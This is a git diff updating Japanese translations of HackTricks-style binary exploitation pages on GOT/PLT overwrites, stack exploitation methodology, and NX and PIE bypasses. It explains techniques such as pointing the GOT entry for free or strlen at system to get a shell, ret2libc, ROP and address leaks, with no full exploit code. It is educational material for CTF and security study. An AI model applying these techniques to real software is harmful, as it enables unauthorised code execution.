diff --git a/src/binary-exploitation/arbitrary-write-2-exec/aw2exec-got-plt.md b/src/binary-exploitation/arbitrary-write-2-exec/aw2exec-got-plt.md index d8c5cf603..dbd8ae6e4 100644 --- a/src/binary-exploitation/arbitrary-write-2-exec/aw2exec-got-plt.md +++ b/src/binary-exploitation/arbitrary-write-2-exec/aw2exec-got-plt.md @@ -6,13 +6,13 @@ ### **GOT: グローバルオフセットテーブル** -**グローバルオフセットテーブル (GOT)** は、動的リンクバイナリで外部関数の**アドレスを管理するためのメカニズム**です。これらの**アドレスは実行時まで知られない**ため(動的リンクのため)、GOTは**これらの外部シンボルのアドレスを動的に更新する方法**を提供します。 +**グローバルオフセットテーブル (GOT)** は、動的リンクバイナリで外部関数の**アドレスを管理するために使用されるメカニズム**です。これらの**アドレスは実行時まで知られない**ため(動的リンクのため)、GOTは**これらの外部シンボルのアドレスを動的に更新する方法**を提供します。 -GOTの各エントリは、バイナリが呼び出す可能性のある外部ライブラリのシンボルに対応しています。**関数が最初に呼び出されると、動的リンカーによってその実際のアドレスが解決され、GOTに保存されます**。同じ関数への後続の呼び出しは、GOTに保存されたアドレスを使用し、再度アドレスを解決するオーバーヘッドを回避します。 +GOTの各エントリは、バイナリが呼び出す可能性のある外部ライブラリのシンボルに対応しています。**関数が最初に呼び出されると、その実際のアドレスは動的リンカーによって解決され、GOTに格納されます**。同じ関数への後続の呼び出しは、GOTに格納されたアドレスを使用し、再度アドレスを解決するオーバーヘッドを回避します。 ### **PLT: プロシージャリンクテーブル** -**プロシージャリンクテーブル (PLT)** はGOTと密接に連携し、外部関数への呼び出しを処理するためのトランポリンとして機能します。バイナリが**外部関数を初めて呼び出すと、制御はその関数に関連付けられたPLTのエントリに渡されます**。このPLTエントリは、関数のアドレスがまだ解決されていない場合、動的リンカーを呼び出してアドレスを解決する責任があります。アドレスが解決された後、それは**GOT**に保存されます。 +**プロシージャリンクテーブル (PLT)** はGOTと密接に連携し、外部関数への呼び出しを処理するためのトランポリンとして機能します。バイナリが**外部関数を初めて呼び出すと、制御はその関数に関連付けられたPLTのエントリに渡されます**。このPLTエントリは、関数のアドレスがまだ解決されていない場合、動的リンカーを呼び出してアドレスを解決する責任があります。アドレスが解決された後、それは**GOT**に格納されます。 **したがって、** GOTエントリは外部関数または変数のアドレスが解決された後に直接使用されます。**PLTエントリは、動的リンカーを介してこれらのアドレスの初期解決を促進するために使用されます。** @@ -20,45 +20,45 @@ GOTの各エントリは、バイナリが呼び出す可能性のある外部 ### GOTを確認 -GOTテーブルのアドレスを取得するには、**`objdump -s -j .got ./exec`**を使用します。 +GOTテーブルのアドレスを取得するには: **`objdump -s -j .got ./exec`** ![](<../../images/image (121).png>) -GEFで**実行可能ファイル**を**読み込む**と、**GOT**にある**関数**を**見ることができます**: `gef➤ x/20x 0xADDR_GOT` +GEFで**実行可能ファイルを読み込んだ後、GOTにある** **関数**を**見ることができます**: `gef➤ x/20x 0xADDR_GOT` -![](<../../images/image (620) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (2) (2) (2).png>) +![](<../../images/image (620) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (2) (2) (2).png>) -GEFを使用して**デバッグ**セッションを**開始**し、**`got`**を実行してGOTテーブルを表示できます。 +GEFを使用して**デバッグ**セッションを**開始**し、**`got`**を実行してGOTテーブルを表示できます: ![](<../../images/image (496).png>) ### GOT2Exec -バイナリ内のGOTは、関数の**アドレス**またはその関数アドレスを読み込む**PLT**セクションのアドレスを持っています。この任意の書き込みの目的は、後で実行される関数の**GOTエントリを上書きすること**です。例えば、**`system`** **関数**のPLTの**アドレス**で上書きします。 +バイナリ内のGOTには、**関数のアドレスまたは** **PLT**セクションのアドレスが含まれています。この任意の書き込みの目的は、後で実行される関数の**GOTエントリを上書きすること**です。例えば、**`system`** **関数**のPLTの**アドレス**で上書きします。 -理想的には、**あなたが制御するパラメータで呼び出される関数の**GOTを**上書き**します(これにより、system関数に送信されるパラメータを制御できます)。 +理想的には、**あなたが制御するパラメータで呼び出される関数のGOTを上書きすることになります**(これにより、system関数に送信されるパラメータを制御できるようになります)。 -もし**`system`** **がバイナリで使用されていない場合**、system関数はPLTにエントリを持ちません。このシナリオでは、最初に`system`関数のアドレスを**リーク**し、その後GOTをこのアドレスを指すように上書きする必要があります。 +もし**`system`** **がバイナリで使用されていない場合、system関数はPLTにエントリを持ちません**。このシナリオでは、最初に`system`関数のアドレスを**リーク**し、その後GOTをこのアドレスを指すように上書きする必要があります。 PLTアドレスは**`objdump -j .plt -d ./vuln_binary`**で確認できます。 ## libc GOTエントリ -**libcのGOT**は通常、**部分的RELRO**でコンパイルされており、そのアドレスを特定できる場合には良いターゲットとなります([**ASLR**](../common-binary-protections-and-bypasses/aslr/))。 +**libcのGOT**は通常、**部分的RELRO**でコンパイルされており、そのアドレスを特定できれば良いターゲットになります([**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html))。 -libcの一般的な関数は、**他の内部関数**を呼び出し、そのGOTを上書きすることでコード実行を得ることができます。 +libcの一般的な関数は、**他の内部関数**を呼び出すことがあり、そのGOTはコード実行を得るために上書きされる可能性があります。 [**この技術に関する詳細情報はこちら**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#1---targetting-libc-got-entries)を参照してください。 ### **Free2system** -ヒープのエクスプロイトCTFでは、チャンクの内容を制御でき、時にはGOTテーブルを上書きすることが一般的です。利用できるガジェットがない場合にRCEを得るための簡単なトリックは、`free`のGOTアドレスを`system`を指すように上書きし、チャンク内に`"/bin/sh"`を書き込むことです。このようにして、このチャンクが解放されると、`system("/bin/sh")`が実行されます。 +ヒープのエクスプロイトCTFでは、チャンクの内容を制御でき、時にはGOTテーブルを上書きすることが一般的です。利用可能なガジェットがない場合にRCEを取得するための簡単なトリックは、`free`のGOTアドレスを`system`を指すように上書きし、チャンク内に`"/bin/sh"`を書き込むことです。このようにして、このチャンクが解放されると、`system("/bin/sh")`が実行されます。 ### **Strlen2system** もう一つの一般的な技術は、**`strlen`**のGOTアドレスを**`system`**を指すように上書きすることです。これにより、この関数がユーザー入力で呼び出されると、文字列`"/bin/sh"`を渡してシェルを取得することが可能になります。 -さらに、`puts`がユーザー入力で使用される場合、`strlen`のGOTアドレスを`system`を指すように上書きし、文字列`"/bin/sh"`を渡してシェルを取得することが可能です。なぜなら、**`puts`はユーザー入力で`strlen`を呼び出すからです**。 +さらに、`puts`がユーザー入力で使用される場合、`strlen`のGOTアドレスを`system`を指すように上書きし、文字列`"/bin/sh"`を渡してシェルを取得することが可能です。**`puts`はユーザー入力で`strlen`を呼び出します**。 ## **One Gadget** @@ -66,9 +66,9 @@ libcの一般的な関数は、**他の内部関数**を呼び出し、そのGOT ../rop-return-oriented-programing/ret2lib/one-gadget.md {{#endref}} -## **ヒープからのGOTの悪用** +## **ヒープからGOTを悪用する** -ヒープの脆弱性からRCEを取得する一般的な方法は、ファストビンを悪用することです。これにより、GOTテーブルの一部をファストビンに追加できるため、そのチャンクが割り当てられると、**通常は`free`のポインタを上書きすることが可能になります**。\ +ヒープの脆弱性からRCEを取得する一般的な方法は、ファストビンを悪用することです。これにより、GOTテーブルの一部をファストビンに追加できるため、そのチャンクが割り当てられると、**通常は`free`の関数ポインタを上書きすることが可能になります**。\ その後、`free`を`system`に指し、`/bin/sh\x00`が書き込まれたチャンクを解放すると、シェルが実行されます。 [**ここに例があります**](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/chunk_extend_overlapping/#hitcon-trainging-lab13)**。** diff --git a/src/binary-exploitation/basic-stack-binary-exploitation-methodology/README.md b/src/binary-exploitation/basic-stack-binary-exploitation-methodology/README.md index e66b4b1be..418935316 100644 --- a/src/binary-exploitation/basic-stack-binary-exploitation-methodology/README.md +++ b/src/binary-exploitation/basic-stack-binary-exploitation-methodology/README.md @@ -24,13 +24,13 @@ tools/ プログラムのフローを制御する方法はいくつかあります: -- [**スタックオーバーフロー**](../stack-overflow/) スタックからのリターンポインタや EBP -> ESP -> EIP を上書きする。 -- オーバーフローを引き起こすために [**整数オーバーフロー**](../integer-overflow.md) を悪用する必要があるかもしれません。 -- または **任意の書き込み + 実行への書き込み**。 -- [**フォーマット文字列**](../format-strings/)**:** `printf` を悪用して任意の内容を任意のアドレスに書き込む。 -- [**配列インデクシング**](../array-indexing.md): 不適切に設計されたインデクシングを悪用して、いくつかの配列を制御し、任意の書き込みを得る。 -- オーバーフローを引き起こすために [**整数オーバーフロー**](../integer-overflow.md) を悪用する必要があるかもしれません。 -- **bof to WWW via ROP**: バッファオーバーフローを悪用して ROP を構築し、WWW を取得できるようにします。 +- [**スタックオーバーフロー**](../stack-overflow/index.html)によってスタックからリターンポインタを上書きするか、EBP -> ESP -> EIPを操作します。 +- オーバーフローを引き起こすために[**整数オーバーフロー**](../integer-overflow.md)を悪用する必要があるかもしれません。 +- または**任意の書き込み + 実行への書き込み**を介して。 +- [**フォーマット文字列**](../format-strings/index.html)**:** `printf`を悪用して任意のコンテンツを任意のアドレスに書き込みます。 +- [**配列インデクシング**](../array-indexing.md): 不適切に設計されたインデクシングを悪用して、いくつかの配列を制御し、任意の書き込みを取得します。 +- オーバーフローを引き起こすために[**整数オーバーフロー**](../integer-overflow.md)を悪用する必要があるかもしれません。 +- **bofからWWWへのROP**: バッファオーバーフローを悪用してROPを構築し、WWWを取得できるようにします。 **実行への書き込み**技術は以下で見つけることができます: @@ -40,72 +40,72 @@ tools/ ## 永続ループ -考慮すべきことは、通常、**脆弱性の1回のエクスプロイトでは不十分な場合がある**ということです。特にいくつかの保護を回避する必要があります。したがって、**単一の脆弱性を同じバイナリの実行中に何度もエクスプロイト可能にする**いくつかのオプションを議論することは興味深いです: +考慮すべきことは、通常**脆弱性の1回のエクスプロイトでは不十分な場合がある**ということです。特にいくつかの保護を回避する必要があります。したがって、**単一の脆弱性を同じバイナリの実行中に何度もエクスプロイト可能にする**いくつかのオプションを議論することは興味深いです: -- **`main` 関数**のアドレスや**脆弱性**が発生しているアドレスを ROP チェーンに書き込む。 -- 適切な ROP チェーンを制御することで、そのチェーン内のすべてのアクションを実行できるかもしれません。 -- **`exit` GOT のアドレス**(またはバイナリが終了する前に使用する他の関数)に**脆弱性に戻る**アドレスを書き込む。 -- [**.fini_array**](../arbitrary-write-2-exec/www2exec-.dtors-and-.fini_array.md#eternal-loop)**で説明されているように、ここに2つの関数を格納し、1つは再度脆弱性を呼び出し、もう1つは**`__libc_csu_fini`**を呼び出して`.fini_array`から関数を再度呼び出します。 +- **`main`関数**のアドレスまたは**脆弱性**が発生しているアドレスをROPチェーンに書き込みます。 +- 適切なROPチェーンを制御することで、そのチェーン内のすべてのアクションを実行できるかもしれません。 +- **`exit`のGOT内のアドレス**(またはバイナリが終了する前に使用する他の関数)に**脆弱性に戻る**アドレスを書き込みます。 +- [**.fini_array**](../arbitrary-write-2-exec/www2exec-.dtors-and-.fini_array.md#eternal-loop)**で説明されているように、ここに2つの関数を格納します。1つは再度脆弱性を呼び出し、もう1つは**`__libc_csu_fini`**を呼び出し、再度`.fini_array`から関数を呼び出します。 ## エクスプロイトの目標 ### 目標: 既存の関数を呼び出す -- [**ret2win**](#ret2win): フラグを取得するために呼び出す必要があるコード内の関数(特定のパラメータが必要な場合もあります)。 -- **PIE**なしの**通常のbof**では、スタックに保存されたリターンアドレスにアドレスを書き込むだけで済みます。 -- **PIE**があるbofでは、それを回避する必要があります。 -- **canary**があるbofでは、それを回避する必要があります。 -- **ret2win**関数を正しく呼び出すために複数のパラメータを設定する必要がある場合は、以下を使用できます: -- 十分なガジェットがある場合は、[**ROP**](#rop-and-ret2...-techniques) **チェーン**を使用してすべてのパラメータを準備します。 -- [**SROP**](../rop-return-oriented-programing/srop-sigreturn-oriented-programming/)(このシステムコールを呼び出せる場合)を使用して多くのレジスタを制御します。 +- [**ret2win**](#ret2win): フラグを取得するために呼び出す必要がある関数がコード内にあります(特定のパラメータが必要な場合があります)。 +- **PIE**がない**通常のbofでは**、スタックに保存されたリターンアドレスにアドレスを書き込むだけで済みます。 +- [**PIE**](../common-binary-protections-and-bypasses/pie/index.html)があるbofでは、それを回避する必要があります。 +- [**canary**](../common-binary-protections-and-bypasses/stack-canaries/index.html)があるbofでは、それを回避する必要があります。 +- **ret2win**関数を正しく呼び出すために複数のパラメータを設定する必要がある場合は、次のようにできます: +- すべてのパラメータを準備するのに十分なガジェットがある場合は、[**ROP**](#rop-and-ret2...-techniques) **チェーンを使用します**。 +- [**SROP**](../rop-return-oriented-programing/srop-sigreturn-oriented-programming/index.html)(このシステムコールを呼び出せる場合)を使用して多くのレジスタを制御します。 - [**ret2csu**](../rop-return-oriented-programing/ret2csu.md)および[**ret2vdso**](../rop-return-oriented-programing/ret2vdso.md)からのガジェットを使用して複数のレジスタを制御します。 -- [**Write What Where**](../arbitrary-write-2-exec/)を介して、他の脆弱性(bofではない)を悪用して**`win`**関数を呼び出すことができます。 -- [**ポインタのリダイレクト**](../stack-overflow/pointer-redirecting.md): スタックに呼び出される関数へのポインタや、興味のある関数(systemやprintf)で使用される文字列へのポインタが含まれている場合、そのアドレスを上書きすることが可能です。 -- [**ASLR**](../common-binary-protections-and-bypasses/aslr/)や[**PIE**](../common-binary-protections-and-bypasses/pie/)がアドレスに影響を与える可能性があります。 +- [**Write What Where**](../arbitrary-write-2-exec/index.html)を介して、他の脆弱性(bofではない)を悪用して**`win`**関数を呼び出すことができます。 +- [**ポインタのリダイレクト**](../stack-overflow/pointer-redirecting.md): スタックに呼び出される関数へのポインタや、興味のある関数(systemまたはprintf)で使用される文字列へのポインタが含まれている場合、そのアドレスを上書きすることが可能です。 +- [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html)または[**PIE**](../common-binary-protections-and-bypasses/pie/index.html)がアドレスに影響を与える可能性があります。 - [**未初期化変数**](../stack-overflow/uninitialized-variables.md): あなたは決してわかりません。 ### 目標: RCE -#### シェルコード経由、nxが無効な場合またはシェルコードとROPを混合する場合: +#### シェルコードを介して、nxが無効な場合またはシェルコードとROPを混合する場合: -- [**(スタック)シェルコード**](#stack-shellcode): これは、リターンポインタを上書きする前または後にスタックにシェルコードを格納し、**それにジャンプして**実行するのに役立ちます: -- いかなる場合でも、**canary**がある場合、通常のbofではそれを回避(リーク)する必要があります。 -- **ASLR**なしおよび**nx**なしでは、スタックのアドレスにジャンプすることが可能です。なぜなら、それは決して変わらないからです。 -- **ASLR**がある場合は、[**ret2esp/ret2reg**](../rop-return-oriented-programing/ret2esp-ret2reg.md)のような技術を使用してそこにジャンプする必要があります。 -- **nx**がある場合は、いくつかの[**ROP**](../rop-return-oriented-programing/)を使用して`memprotect`を呼び出し、ページを`rwx`にしてから、そこにシェルコードを格納(例えばreadを呼び出す)し、そこにジャンプする必要があります。 +- [**(スタック)シェルコード**](#stack-shellcode): これは、リターンポインタを上書きする前または後にスタックにシェルコードを格納し、次に**それにジャンプして**実行するのに役立ちます: +- **いかなる場合でも、** [**canary**](../common-binary-protections-and-bypasses/stack-canaries/index.html)**がある場合、通常のbofではそれを回避する必要があります(リーク)**。 +- **ASLR**がない場合、**nx**がない場合、スタックのアドレスにジャンプすることが可能です。なぜなら、それは決して変わらないからです。 +- **ASLR**がある場合、[**ret2esp/ret2reg**](../rop-return-oriented-programing/ret2esp-ret2reg.md)のような技術を使用してそこにジャンプする必要があります。 +- **nx**がある場合、いくつかの[**ROP**](../rop-return-oriented-programing/index.html)を使用して`memprotect`を呼び出し、ページを`rwx`にしてから、そこにシェルコードを格納し(例えばreadを呼び出す)、その後そこにジャンプする必要があります。 - これはシェルコードとROPチェーンを混合します。 -#### システムコール経由 +#### システムコールを介して -- [**Ret2syscall**](../rop-return-oriented-programing/rop-syscall-execv/): 任意のコマンドを実行するために`execve`を呼び出すのに役立ちます。**特定のシステムコールをパラメータで呼び出すためのガジェットを見つける必要があります**。 -- [**ASLR**](../common-binary-protections-and-bypasses/aslr/)や[**PIE**](../common-binary-protections-and-bypasses/pie/)が有効な場合、バイナリやライブラリからROPガジェットを使用するためにそれらを打破する必要があります。 -- [**SROP**](../rop-return-oriented-programing/srop-sigreturn-oriented-programming/)は**ret2execve**を準備するのに役立ちます。 +- [**Ret2syscall**](../rop-return-oriented-programing/rop-syscall-execv/index.html): 任意のコマンドを実行するために`execve`を呼び出すのに役立ちます。**特定のシステムコールをパラメータで呼び出すためのガジェットを見つける必要があります**。 +- [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html)または[**PIE**](../common-binary-protections-and-bypasses/pie/index.html)が有効な場合、バイナリやライブラリからROPガジェットを使用するためにそれらを打破する必要があります。 +- [**SROP**](../rop-return-oriented-programing/srop-sigreturn-oriented-programming/index.html)は**ret2execve**を準備するのに役立ちます。 - [**ret2csu**](../rop-return-oriented-programing/ret2csu.md)および[**ret2vdso**](../rop-return-oriented-programing/ret2vdso.md)からのガジェットを使用して複数のレジスタを制御します。 -#### libc経由 +#### libcを介して -- [**Ret2lib**](../rop-return-oriented-programing/ret2lib/): **`libc`**からの関数(通常は**`system`**)を呼び出すのに役立ちます。準備された引数(例:`'/bin/sh'`)を使用します。呼び出したい関数を持つライブラリを**バイナリがロードする必要があります**(通常はlibc)。 -- **静的にコンパイルされていて、PIEがない場合**、`system`と`/bin/sh`の**アドレス**は変わらないため、静的に使用することが可能です。 -- **ASLRなし**および**ロードされたlibcのバージョンを知っている場合**、`system`と`/bin/sh`の**アドレス**は変わらないため、静的に使用することが可能です。 -- [**ASLR**](../common-binary-protections-and-bypasses/aslr/)があるが[**PIE**](../common-binary-protections-and-bypasses/pie/)がない場合、libcを知っていて、バイナリが`system`関数を使用している場合、**GOT内のsystemのアドレスに`ret`し、`'/bin/sh'`のアドレスをパラメータにすることが可能です**(これを解決する必要があります)。 -- [ASLR](../common-binary-protections-and-bypasses/aslr/)があるが[PIE](../common-binary-protections-and-bypasses/pie/)がない場合、libcを知っていて、**バイナリが`system`を使用していない場合**: +- [**Ret2lib**](../rop-return-oriented-programing/ret2lib/index.html): **`libc`**のようなライブラリから関数を呼び出すのに役立ちます(通常は**`system`**)いくつかの準備された引数(例:`'/bin/sh'`)で。呼び出したい関数を持つライブラリを**バイナリがロードする必要があります**(通常はlibc)。 +- **静的にコンパイルされていて、** [**PIE**](../common-binary-protections-and-bypasses/pie/index.html)がない場合、`system`と`/bin/sh`の**アドレス**は変わらないため、静的に使用することが可能です。 +- **ASLR**がない場合、**libcのバージョン**を知っている場合、`system`と`/bin/sh`の**アドレス**は変わらないため、静的に使用することが可能です。 +- [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html)があるが[**PIE**](../common-binary-protections-and-bypasses/pie/index.html)がない場合、libcを知っていて、バイナリが`system`**関数を使用している場合、**GOT内のsystemのアドレスに**`ret`し、`'/bin/sh'`のアドレスをパラメータにすることが可能です(これを見つける必要があります)。 +- [ASLR](../common-binary-protections-and-bypasses/aslr/index.html)があり、[PIE](../common-binary-protections-and-bypasses/pie/index.html)がないが、libcを知っていて**バイナリが`system`**を使用していない場合: - [**`ret2dlresolve`**](../rop-return-oriented-programing/ret2dlresolve.md)を使用して`system`のアドレスを解決し、呼び出します。 -- [**ASLR**](../common-binary-protections-and-bypasses/aslr/)を回避し、メモリ内の`system`と`'/bin/sh'`のアドレスを計算します。 -- **ASLR**と[**PIE**](../common-binary-protections-and-bypasses/pie/)があり、libcを知らない場合は: -- [**PIE**](../common-binary-protections-and-bypasses/pie/)を回避する必要があります。 -- 使用されている**`libc`のバージョン**を見つける(いくつかの関数アドレスをリークする)。 -- **ASLR**の前のシナリオを確認して続行します。 +- [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html)を回避し、メモリ内の`system`と`'/bin/sh'`のアドレスを計算します。 +- [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html)と[**PIE**](../common-binary-protections-and-bypasses/pie/index.html)があり、libcを知らない場合:次のことを行う必要があります: +- [**PIE**](../common-binary-protections-and-bypasses/pie/index.html)を回避します。 +- 使用されている**`libc`バージョン**を見つけます(いくつかの関数アドレスをリークします)。 +- 続行するために**ASLR**を使用した以前のシナリオを確認します。 -#### EBP/RBP経由 +#### EBP/RBPを介して -- [**スタックピボッティング / EBP2Ret / EBPチェイニング**](../stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md): スタック内の保存されたEBPを通じてESPを制御してRETを制御します。 +- [**スタックピボット / EBP2Ret / EBPチェイニング**](../stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md): スタック内の保存されたEBPを介してESPを制御してRETを制御します。 - **オフバイワン**スタックオーバーフローに役立ちます。 -- EIPを制御しながら、メモリ内にペイロードを構築し、EBPを介してそれにジャンプするための代替手段として役立ちます。 +- メモリ内にペイロードを構築し、その後EBPを介してそれにジャンプする際にEIPを制御するための代替手段として役立ちます。 #### その他 -- [**ポインタのリダイレクト**](../stack-overflow/pointer-redirecting.md): スタックに呼び出される関数へのポインタや、興味のある関数(systemやprintf)で使用される文字列へのポインタが含まれている場合、そのアドレスを上書きすることが可能です。 -- [**ASLR**](../common-binary-protections-and-bypasses/aslr/)や[**PIE**](../common-binary-protections-and-bypasses/pie/)がアドレスに影響を与える可能性があります。 +- [**ポインタのリダイレクト**](../stack-overflow/pointer-redirecting.md): スタックに呼び出される関数へのポインタや、興味のある関数(systemまたはprintf)で使用される文字列へのポインタが含まれている場合、そのアドレスを上書きすることが可能です。 +- [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html)または[**PIE**](../common-binary-protections-and-bypasses/pie/index.html)がアドレスに影響を与える可能性があります。 - [**未初期化変数**](../stack-overflow/uninitialized-variables.md): あなたは決してわかりません。 {{#include ../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/common-binary-protections-and-bypasses/no-exec-nx.md b/src/binary-exploitation/common-binary-protections-and-bypasses/no-exec-nx.md index 5aaf1146f..cb225b0be 100644 --- a/src/binary-exploitation/common-binary-protections-and-bypasses/no-exec-nx.md +++ b/src/binary-exploitation/common-binary-protections-and-bypasses/no-exec-nx.md @@ -4,13 +4,13 @@ ## 基本情報 -**No-Execute (NX)** ビットは、Intel用語で **Execute Disable (XD)** とも呼ばれ、**バッファオーバーフロー** 攻撃の影響を **軽減** するために設計されたハードウェアベースのセキュリティ機能です。実装され有効化されると、**実行可能コード** 用のメモリ領域と、**スタック** や **ヒープ** のような **データ** 用のメモリ領域を区別します。基本的なアイデアは、攻撃者がバッファオーバーフローの脆弱性を通じて悪意のあるコードを実行するのを防ぐことです。例えば、悪意のあるコードをスタックに置き、実行フローをそれに向けることを防ぎます。 +**No-Execute (NX)** ビットは、Intel用語で **Execute Disable (XD)** とも呼ばれ、**バッファオーバーフロー** 攻撃の影響を **軽減** するために設計されたハードウェアベースのセキュリティ機能です。実装され有効化されると、**実行可能コード** 用のメモリ領域と、**スタック** や **ヒープ** などの **データ** 用のメモリ領域を区別します。基本的な考え方は、攻撃者がバッファオーバーフローの脆弱性を通じて悪意のあるコードを実行するのを防ぐことです。例えば、悪意のあるコードをスタックに置き、実行フローをそれに向けることを防ぎます。 ## バイパス -- この保護を **バイパス** するために、バイナリ内に既に存在する実行可能コードのチャンクを実行するような技術、例えば [**ROP**](../rop-return-oriented-programing/) を使用することが可能です。 -- [**Ret2libc**](../rop-return-oriented-programing/ret2lib/) -- [**Ret2syscall**](../rop-return-oriented-programing/rop-syscall-execv/) +- この保護を **バイパス** するために、バイナリ内に既に存在する実行可能コードのチャンクを実行するような技術を使用することが可能です。[**ROP**](../rop-return-oriented-programing/index.html) +- [**Ret2libc**](../rop-return-oriented-programing/ret2lib/index.html) +- [**Ret2syscall**](../rop-return-oriented-programing/rop-syscall-execv/index.html) - **Ret2...** {{#include ../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/common-binary-protections-and-bypasses/pie/README.md b/src/binary-exploitation/common-binary-protections-and-bypasses/pie/README.md index 03e81ae18..cc8696d4a 100644 --- a/src/binary-exploitation/common-binary-protections-and-bypasses/pie/README.md +++ b/src/binary-exploitation/common-binary-protections-and-bypasses/pie/README.md @@ -4,18 +4,18 @@ ## 基本情報 -PIE(**位置独立実行可能ファイル**)としてコンパイルされたバイナリは、**プログラムが実行されるたびに異なるメモリ位置にロードされる**ことを意味し、ハードコーディングされたアドレスを防ぎます。 +PIE(**Position Independent Executable**)としてコンパイルされたバイナリは、**プログラムが実行されるたびに異なるメモリ位置にロードされる**ことを意味し、ハードコーディングされたアドレスを防ぎます。 -これらのバイナリを悪用するトリックは、**相対アドレス**を利用することにあります。プログラムの部分間のオフセットは、絶対位置が変わっても同じままです。**PIEをバイパスするには、1つのアドレスを漏洩させるだけで済みます**。通常は、フォーマットストリング攻撃のような脆弱性を使用して**スタック**から取得します。アドレスを取得したら、その**固定オフセット**を使って他のアドレスを計算できます。 +これらのバイナリを悪用するトリックは、**相対アドレス**を利用することにあります。プログラムの部分間のオフセットは、絶対位置が変わっても同じままです。**PIEをバイパスするには、1つのアドレスを漏洩させるだけで済みます**。通常は、フォーマットストリング攻撃のような脆弱性を使用して**スタック**から取得します。アドレスを取得したら、**固定オフセット**を使って他のアドレスを計算できます。 -PIEバイナリを悪用する際の役立つヒントは、**基本アドレスが通常000で終わる**ことです。これは、メモリページがランダム化の単位であり、サイズが0x1000バイトであるためです。このアライメントは、**エクスプロイトが期待通りに機能していない場合の重要なチェック**となり、正しい基本アドレスが特定されているかどうかを示します。\ +PIEバイナリを悪用する際の役立つヒントは、**基本アドレスが通常000で終わる**ことです。これは、メモリページがランダム化の単位であり、サイズが0x1000バイトであるためです。このアライメントは、**エクスプロイトが期待通りに動作しない場合の重要なチェック**となり、正しい基本アドレスが特定されているかどうかを示します。\ また、エクスプロイトにこれを使用することもできます。アドレスが**`0x649e1024`**にあることが漏洩した場合、**基本アドレスは`0x649e1000`**であることがわかり、そこから関数や位置の**オフセットを計算**できます。 ## バイパス PIEをバイパスするには、**ロードされたバイナリのアドレスを漏洩させる**必要があります。これにはいくつかのオプションがあります: -- **ASLRを無効にする**:ASLRが無効になっている場合、PIEでコンパイルされたバイナリは常に**同じアドレスにロードされる**ため、**PIEは無意味になります**。オブジェクトのアドレスは常に同じ場所にあります。 +- **ASLRを無効にする**: ASLRが無効になっている場合、PIEでコンパイルされたバイナリは常に**同じアドレスにロードされる**ため、**PIEは無意味になります**。オブジェクトのアドレスは常に同じ場所にあります。 - 漏洩を**与えられる**(簡単なCTFチャレンジで一般的、[**この例を確認**](https://ir0nstone.gitbook.io/notes/types/stack/pie/pie-exploit)) - スタック内の**EBPおよびEIP値をブルートフォース**して正しいものを漏洩させる: @@ -23,7 +23,7 @@ PIEをバイパスするには、**ロードされたバイナリのアドレス bypassing-canary-and-pie.md {{#endref}} -- [**フォーマットストリング**](../../format-strings/)のような**任意の読み取り**脆弱性を使用して、バイナリのアドレスを漏洩させ(前の技術のようにスタックから)、バイナリの基本を取得し、そこからオフセットを使用します。[**ここに例を見つけてください**](https://ir0nstone.gitbook.io/notes/types/stack/pie/pie-bypass)。 +- [**フォーマットストリング**](../../format-strings/index.html)のような**任意の読み取り**脆弱性を使用して、バイナリのアドレスを漏洩させる(例:前の技術のようにスタックから)ことで、バイナリの基本を取得し、そこからオフセットを使用します。[**ここに例を見つけてください**](https://ir0nstone.gitbook.io/notes/types/stack/pie/pie-bypass)。 ## 参考文献 diff --git a/src/binary-exploitation/libc-heap/heap-overflow.md b/src/binary-exploitation/libc-heap/heap-overflow.md index 7569eadd2..4743ac010 100644 --- a/src/binary-exploitation/libc-heap/heap-overflow.md +++ b/src/binary-exploitation/libc-heap/heap-overflow.md @@ -4,9 +4,9 @@ ## 基本情報 -ヒープオーバーフローは[**スタックオーバーフロー**](../stack-overflow/)のようなもので、ヒープ内で発生します。基本的には、ヒープ内にデータを保存するために予約されたスペースがあり、**保存されたデータが予約されたスペースよりも大きいことを意味します。** +ヒープオーバーフローは[**スタックオーバーフロー**](../stack-overflow/index.html)のようなもので、ヒープ内で発生します。基本的には、ヒープ内にデータを保存するために予約されたスペースがあり、**保存されたデータが予約されたスペースよりも大きいことを意味します。** -スタックオーバーフローでは、命令ポインタやスタックフレームのようなレジスタがスタックから復元されることがわかっており、これを悪用することが可能です。ヒープオーバーフローの場合、**デフォルトでヒープチャンクに保存される機密情報はありません**。ただし、機密情報やポインタが含まれる可能性があるため、この脆弱性の**重要性**は**上書きされる可能性のあるデータ**と、攻撃者がこれをどのように悪用できるかに**依存**します。 +スタックオーバーフローでは、命令ポインタやスタックフレームのようなレジスタがスタックから復元されることがわかっており、これを悪用することが可能です。ヒープオーバーフローの場合、**デフォルトでヒープチャンクに保存される機密情報はありません**。ただし、機密情報やポインタが含まれる可能性があるため、この脆弱性の**重要性**は**上書きされる可能性のあるデータ**と、攻撃者がこれを悪用する方法に**依存**します。 > [!TIP] > オーバーフローオフセットを見つけるためには、[**スタックオーバーフロー**](../stack-overflow/index.html#finding-stack-overflows-offsets)と同じパターンを使用できます。 @@ -15,15 +15,15 @@ スタックオーバーフローでは、脆弱性がトリガーされる瞬間にスタックに存在するデータの配置がかなり信頼できます。これは、スタックが線形であり、常に衝突するメモリが増加し、**プログラムの実行中の特定の場所でスタックメモリは通常同様の種類のデータを格納し**、各関数によって使用されるスタック部分の末尾にいくつかのポインタがあるためです。 